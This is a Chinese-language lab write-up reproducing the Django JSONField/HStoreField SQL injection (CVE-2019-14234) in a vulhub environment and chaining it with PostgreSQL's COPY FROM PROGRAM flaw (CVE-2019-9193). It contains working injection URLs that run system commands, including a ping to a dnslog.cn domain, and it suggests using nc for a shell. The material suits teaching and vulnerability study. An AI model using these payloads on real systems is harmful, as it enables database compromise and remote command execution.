16 - vulhub - Django JSONField/HStoreField SQL注入漏洞（CVE-2019-14234）

文章目录

漏洞名称：Django JSONField/HStoreField SQL注入漏洞（CVE-2019-14234）

简介：

Django是一款广为流行的开源web框架，由Python编写，许多网站和app都基于Django开发。

什么是JSONField，Django是一个大而全的Web框架，其支持很多数据库引擎，包括Postgresql、Mysql、Oracle、Sqlite3等，但与Django天生为一对儿的数据库莫过于Postgresql了，Django官方也建议配合Postgresql一起使用。

相比于Mysql，Postgresql支持的数据类型更加丰富，其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点。

影响版本

Django 主开发分支

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23

漏洞原理

该漏洞需要开发者使用了JSONField/HStoreField，且用户可控queryset查询时的键名，在键名的位置注入SQL语句。

Django通常搭配postgresql数据库，而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现，Django的model最本质的作用是生成SQL语句，而在Django通过JSONField生成sql语句时，是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。

其中key_name是可控的字符串，最终生成的语句是

WHERE (field->'[key_name]') ='value' ，因此可以进行SQL注入。

P师傅的分析文章中写的是 “原因是，Django-Admin中就支持用户控制queryset的查询键名.总的来说，如果你的应用使用了JSONField，且用户可以进入应用的Django-Admin后台，就可以进行SQL注入。同时，通过Postgresql的一些特性（如命令执行方法），即可getshell。”

在这里插入图片描述

漏洞复现

环境准备

靶机环境   139.196.87.102  (vulhub)
攻击机环境  192.168.8.137  （虚拟机 Ubuntu 、Java1.8、Burp）

启动 Django JSONField/HStoreField SQL注入漏洞环境

1.进入 vulhub 的 Django JSONField/HStoreField SQL注入漏洞 路径
cd /usr/local/tools/vulhub/django/CVE-2019-14234

2.编译并启动环境
docker-compose up -d

3.查看环境运行状态
docker ps | grep vulhub

在这里插入图片描述

访问 8000 端口

在这里插入图片描述

访问 139.196.87.102:8000/admin/login/ 输入账号 admin , a123123123

在这里插入图片描述

漏洞利用

构造 URL payload
在GET参数中构造 detail__a'b=123 提交，其中 detail 是模型 Collection 中的 JSONField

http://139.196.87.102:8000/admin/vuln/collection/?detail__a'b=123

在这里插入图片描述

此时，后端执行的代码其实就是：

Collection.objects.filter(**dict("detail__a'b": '1')).all()

到了这一步的话，漏洞基本复现完成,正如P师傅介绍的那样,如果想要进一步扩大战果需要配合 命令执行 ，这样我们就可里利用 CVE-2019-9193 进行 getshell 。

结合 CVE-2019-9193 进行 getshell

关于 CVE-2019-9193：具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令，该漏洞由 PostgreSQL 引发

思路稍加扩展，我们可以利用 CVE-2019-14234(SQL注入漏洞) 向服务器传送包含CVE-2019-9193(命令执行漏洞)系统命令的SQL语句，从而利用SQL语句，执行任意系统命令。

尝试执行命令,构造shell，创建cmd_exec，命令执行结果提示“no results to fetch”即为执行成功。

http://139.196.87.102:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

在这里插入图片描述

然后用dnslog检测是否可以执行命令 http://dnslog.cn/

在这里插入图片描述

构造dnslog检测是否可以执行命令

http://139.196.87.102:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20apelv2y.dnslog.cn%27--%20

在这里插入图片描述

靶场环境里的postgresql数据库docker没对外的端口映射，如果开了或者真实环境里，还可以结合msf通过CVE-2019-9193来getshell。

再次构造命令执行语句，执行 “touch /tmp/test.txt” 命令

http://139.196.87.102:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'touch /tmp/test.txt'--%20

在这里插入图片描述

"touch /tmp/vuln.txt"即为系统命令，可以替换成其他命令并且执行，例如配合 nc 命令获取shell。

命令执行结果：当提示“no results to fetch”即为执行成功。

在这里插入图片描述

这里有个小小的坑,因为 vulhub 提供的 docker 环境，环境部署之后会有两个docker实例，其中实例-1提供Django的web功能，而实例-2则提供PostgreSQL数据库功能，所以不论SQL注入的结果还是命令执行的结果，都会发生在实例-2上，实践中创建的vuln.txt也在实例_2的tmp目录下。

---- 在这里插入图片描述